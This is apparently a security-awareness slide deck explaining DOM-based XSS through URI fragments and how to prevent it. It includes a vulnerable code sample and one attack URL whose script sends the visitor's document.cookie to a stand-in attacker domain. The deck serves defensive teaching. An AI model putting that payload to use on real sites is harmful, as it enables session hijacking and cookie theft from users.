  • 4. URI Fragments  URI fragments are not sent with HTTP request, so they need to be interpreted by client-side JavaScript.  You should be careful that your treatment of URI fragment does not permit the injection of malicious JavaScript.  Let’s see how a site might be vulnerable to DOM-BASED XSS Attacks
  • 5. GUI Explanation www.churvanels.com#1 “This a dangerous cat.” - Cat Fan SEE ALL THE HACKER CATS YOU LOVE! #1 For Example Website has Infinite scroll Content is loaded In dynamically As the page is Scrolled down. Notice how the URI Fragment is used to Track the scroll location
  • 6. GUI Explanation www.churvanels.com#2 “I’m Busy hacking” - Cat Fan Overload SEE ALL THE HACKER CATS YOU LOVE! #2 For Example Website has Infinite scroll Content is loaded In dynamically As the page is Scrolled down. Notice how the URI Fragment is used to Track the scroll location
  • 7. GUI Explanation www.churvanels.com#3 “Hacker Cat your doin it rite!” - Cat Ninja SEE ALL THE HACKER CATS YOU LOVE! #3 This dome so That if a user Navigates away From the site, and Then Presses the Back Button, this Site can reload their Last location
  • 8. Code View $(document).onload(function(){ var page = window.location.hash; loadPage(page); $(“#page-no”).html(page); }); Notice how the window.location.hash value is written into the DOM as raw HTML – a major security hole However, there Vulnerability In the way the URI fragment Is interpreted. The site updates The page number directly from The URI fragment, without Checking the contents
  • 9. GUI Explanation www.churvanels.com#3 “Hacker Cat your doin it rite!” - Cat Ninja SEE ALL THE HACKER CATS YOU LOVE! #3www.churvanels.com#<script>window.location="http://www.huncker.com?cookie="+document.cookie</script> This means an Attacker can Construct a URL With malicious JavaScript in the URI Fragment..
  • 10. GUI Explanation www.churvanels.com#3 “Hacker Cat your doin it rite!” - Cat Ninja SEE ALL THE HACKER CATS YOU LOVE! #3 And when Somebody is tricked Into visiting that URL, the JavaScript Will be executed in Their browser
  • 11. GUI Explanation huncker.com?cookie=asFFEfadn3243sadkkkiilo56l45j56nklj2 And when Somebody is tricked Into visiting that URL, the JavaScript Will be executed in Their browser
  • 12. Check for DOM-Based Attack  Perform a brief code review of every piece of JavaScript received from the application. Identify any XSS or Redirection vulnerabilities that can be triggered by using a crafted URL to introduce malicious data into the DOM of the relevant page. Include all standalone JavaScript files and scripts contained within HTML pages (both static and dynamically generated)
  • 13. Identifying APIs  Identify all uses of the following APIs, which may be used to access DOM data that can be controlled via crafted URL:  document.location  document.URL  document.URLUnencoded  document.referrer  windows.location
  • 14. Trace the relevant  Trace the relevant data through the code to identify what actions are performed with it. If the data (or a manipulated form of it) is passed to one of the following APIs, the application may be vulnerable to XSS  Document.write()  Document.writeIn()  Document.body.innerHTML  Eval()  Window.execScript()  Window.setInterval()  Window.setTimeout()
  • 15. Pass the data  If the data is passed to one of the following APIs, the application may be vulnerable to a redirection attack.  Document.location  Document.URL  Document.open()  Windows.location.href  Window.navigate()  Window.open()
  • 17. DOM-BASED Attack!  DOM-based XSS attack have all the risk associated with the other types of XSS attack, with the added bonus that they are impossible to detect from the server side. Any page that uses URI fragments is potentially at risk from XSS attack
  • 18. The Protection Protecting Against DOM-based XSS attack is a matter of checking that your JavaScript does not interpret URI fragment in an unsafe manner. There are number of ways to ensure this  Use a JavaScript Framework  Framework like Ember, AngularJS and React use template that makes contraction of ad-hoc HTML an explicit (and rare) action. This will push your development team toward best practices, and make unsafe operations easier to detect
  • 19. The Protection  Audit Your Code Carefully  Sometimes a full JavaScript framework is too heavyweight for your site. In that case, you will need to regularly conduct a code review to spot locations that reference window.location.hash.  If you are using direct the native DOM APIs, avoid using the following properties and functions:  InnerHTML  outerHTML  Document.write  Instead, set text content within tags whenever possible:  innerText  textContent
  • 20. Who is JSON?  Parse JSON Carefully  Do not evaluate JSON to convert it to native JavaScript – for example, by using the eval(….) function instead use JSON.parse(…..)  Don’t use URI Fragment At All!  The most secure code is the code that isn’t there. If you don’t need to use URI fragments, then don’t! Write a unit test to scan your JavaScript for mentions of window.location.has, and have it fail it the pattern is found. When there is a need to use URI fragments, then you can dicuss how to ensure their sage use.
  • 21. Implementing CSP Content-Security Policy  Modern browser supports Content-Security Policies that allow the author of a web-page to control where JavaScript (and other resources) can be loaded and executed from. XSS attacks rely on the attacker being able to run malicious scripts on a user’s web page – either by injection inline <script> tags somewhere within the <html> tag of a page, or by tricking the browser into loading the JavaScript from a malicious Third-Party domain.
  • 22. END THE SLIDE! BY: JOHN PATRICK LITA INFORMATION SECURITY CONSULTANT – GLOBE TELECOM (ISDP/VM) References: Hackplaining and OWASP Foundation